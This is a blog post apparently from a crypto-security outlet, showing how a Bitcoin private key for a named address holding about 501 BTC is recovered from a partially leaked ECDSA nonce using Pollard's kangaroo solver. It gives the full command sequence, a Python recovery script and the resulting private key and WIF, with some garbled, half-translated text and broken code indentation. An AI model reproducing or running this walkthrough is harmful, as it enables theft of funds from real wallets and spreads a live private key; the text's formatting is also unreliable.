# Pollard’s Kangaroo find solutions to the discrete logarithm secp256k1 PRIVATE KEY + NONCES in a known range

By CryptoDeep | CRYPTODEEP | 9 Sep 2022

In this article, we will look at the fastest algorithm for ECDLP from the field of computational number theory, Pollard’s kangaroo is also called Pollard’s lambda algorithm.

Pollard’s kangaroo method computes  discrete logarithms  in arbitrary cyclic groups. It is applied if the discrete logarithm is known to lie in a certain range, say  `[ a , b ]`, and then has an expected time to execute the bulk operation.

• uses very little memory
• can be parallelized with linear acceleration
• memory requirements can be effectively tracked

All this makes the kangaroo method the most powerful method for solving the discrete logarithm problem.

## One way to break ECDSA signature schemes is to solve the discrete logarithm problem.

In settings  `ECDSA` , sub-exponential time algorithms, such as the index calculus method, are not used, and the best known solution method underlying them today  `DLP` is the Pollard kangaroo method. We will try not to burden you with various theoretical aspects. Let’s move on to the experimental part.

As we know in the Bitcoin blockchain, the sender of BTC coins always reveals his  public key .

For the Pollard kangaroo method, it is enough to know  the public key  or  signature `R`  value (the value  `R` is also a kind of  public key  from  `Nonces` because it is a coordinate point  `x` on the elliptic curve plane  `secp256k1`)

It remains only to define the range  `PRIVATE KEY` or range `NONCES` .

It happens that some devices that create signatures `ECDSA`in the Bitcoin blockchain can partially disclose bytes of information about the value `"K" (NONCES)`

We believe that this is a potential threat of losing BTC coins and strongly recommend that everyone always update the software and use only verified devices.

In the recent past, we did cryptanalysis on the Bitcoin blockchain and found several such transactions.

## So take a look at this Bitcoin Address with a withdrawal amount of 501.06516041 BTC

In the transactions of this Bitcoin Address  14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE , there was a partial disclosure of bytes of information about the value `"K" (NONCES)`

As we know from our last  article

habr.com/en/post/671932/

## Finding a Secret Key Range

Let’s find this transaction and use Pollard’s kangaroo method to  recover the private key

Earlier we recorded  a video instruction :  «TERMINAL in Google Colab create all the conveniences for working in GITHUB»

To search for RawTX, we will use the repository  «01BlockchainGoogleDrive»

``````git clone https://github.com/demining/CryptoDeepTools.git

chmod +x getrawtx.sh

./getrawtx.sh 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE``````

Run Bash script: getrawtx.sh

All contents of the Bitcoin Address  14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE transaction  were saved to the file: `RawTX.json`

Open the file:  `RawTX.json` and find this transaction `[строка №10]`

Let’s use the command  `export` and save this line  `№10` from  `RawTX.json`separately to `RawTX.txt`

``export LINE=10 ; sed -n "\${LINE}p" RawTX.json > RawTX.txt``

``cat RawTX.txt``

Let  ‘s find out, open the Decode Raw Bitcoin Hexadecimal Transaction`TxID`  website   and insert our  As a result, we get TxID`RawTX`

#### As a result, we get TxID

Checking RawTX

Now we find out the partial disclosure of bytes of information about the value `"K" (NONCES)`

To do this, we will use the script `«RangeNonce»`

`«RangeNonce»` is a script to find the range of the secret key

Let’s choose the version for the distribution kit  `GNU/Linux` . `Google Colab` provides `UBUNTU 18.04`

RangeNonce

Upload all files to `Google Colab`

Let’s allow permissions for the script and run the script `«RangeNonce»`

Teams:

``````chmod +x RangeNonce
./RangeNonce
cat Result.txt``````

result.txt

## This is the partial disclosure of bytes of information the value of «K» (NONCES)

So our  secret key  is in  the range :

``````K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff``````

Pay attention to the initial  `32` digits and letters  `HEX` of the format, the value of the signature  `Z` matches  the range of the secret key  , that is, the value `"K" (NONCES)`

## This is a very serious ECDSA signature error

As we said above, for the Pollard kangaroo method, it is enough to know  the public key  or  signature `R`  value (the value  `R` is also a kind of  public key  from  `Nonces` because it is a coordinate point  `x` on the elliptic curve plane  `secp256k1`)

Signature  value  `R` in our case:

``R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06``

The script  `RangeNonce` added the  prefix `02` we needed by  creating a  compressed public key

``K_PUBKEY = 0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06``

### Now we have information:

• secret key range
• compressed public key

Let’s use the source code to build the  Pollard’s Kangaroo program  from the French developer Jean-Luc PONS

Please note that you can assemble on your own  `CUDA` to  `GPU` increase  the speed of calculations.

We will do a normal assembly for the CPU

Teams:

``````cd /

cd content/CryptoDeepTools/06KangarooJeanLucPons/

ls``````

``sudo apt-get update``

``````sudo apt-get install g++ -y
sudo apt-get install libgmp3-dev libmpfr-dev -y``````

After all the package installations, we will build by running a simple command:

``make``

## Assembly was successful!

``````Проверим версию:

./kangaroo -v``````

#### So, we have created a version of «Kangaroo v2.2»

To demonstrate the performance  `«Kangaroo v2.2»` for  let’s `CPU`raise the range and save everything to a file: `rangepubkey.txt`

#### Open a text file: rangepubkey.txt

``````070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b2100000000000000
070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b21ffffffffffffff
0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06``````
``````Очистим терминал командой:

clear``````

Run  `«Kangaroo v2.2»` the result will be  automatically saved  to a file: `savenonce.txt`

``./kangaroo -ws -w save.work -wi 30 -o savenonce.txt rangepubkey.txt``

## The search time took 1 min. 18 sec.

Result in file: `savenonce.txt`

Let ‘s open the  file: `savenonce.txt`

### We got the secret key, this is the value of «K» (NONCES)

``````Key# 0 [1S]Pub:  0x0283FE1C06236449B69A7BEE5BE422C067D02C4CE3F4FA3756BD92C632F971DE06
Priv: 0x70239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000 # RangeNonce
K = 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 # NONCES
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff # RangeNonce``````

## private key

Now knowing the value,  `"K" (NONCES)` we will  restore the private key  to the Bitcoin Address:  14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Let’s go back to the beginning, as we remember, the script  `«RangeNonce»` revealed to us  information about the range value  `"K" (NONCES)`, as well as  information `SIGNATURES`

SIGNATURES

``````R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7``````

Get the private key using the formula in Python script :  calculate.py

``````def h(n):
return hex(n).replace("0x","")

def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7
K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

print (h((((S * K) - Z) * modinv(R,N)) % N))``````

Teams:

``````wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/02BreakECDSAcryptography/calculate.py

python3 calculate.py
``````

PRIVKEY=23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

``````ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
WIF:  5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e
HEX:  23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b``````

Checking the private key on the bitaddress website

## Private key found!

This video was created for the  CRYPTO DEEP TECH portal  to ensure the financial security of data and cryptography on elliptic curves  `secp256k1` against weak signatures  `ECDSA` in cryptocurrency `BITCOIN`

Source

Telegram:  https://t.me/cryptodeeptech

Video:  https://youtu.be/UGUJyxOhBBQ

Source: https://cryptodeeptech.ru/kangaroo

CryptoDeep

Financial security of data and secp256k1 elliptic curve cryptography against weak ECDSA signatures in BITCOIN cryptocurrency

CRYPTODEEP

Financial security of data and secp256k1 elliptic curve cryptography against weak ECDSA signatures in BITCOIN cryptocurrency [email protected] - Email for all questions. The creators of the software are not responsible for the use of materials Donation Address: ♥ BTC: 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV ♥ETH: 0xaBd66CF90898517573f19184b3297d651f7b90bf ♥ YooMoney.ru/to/410011415370470

Send a \$0.01 microtip in crypto to the author, and earn yourself as you read!

20% to author / 80% to me.
We pay the tips from our rewards pool.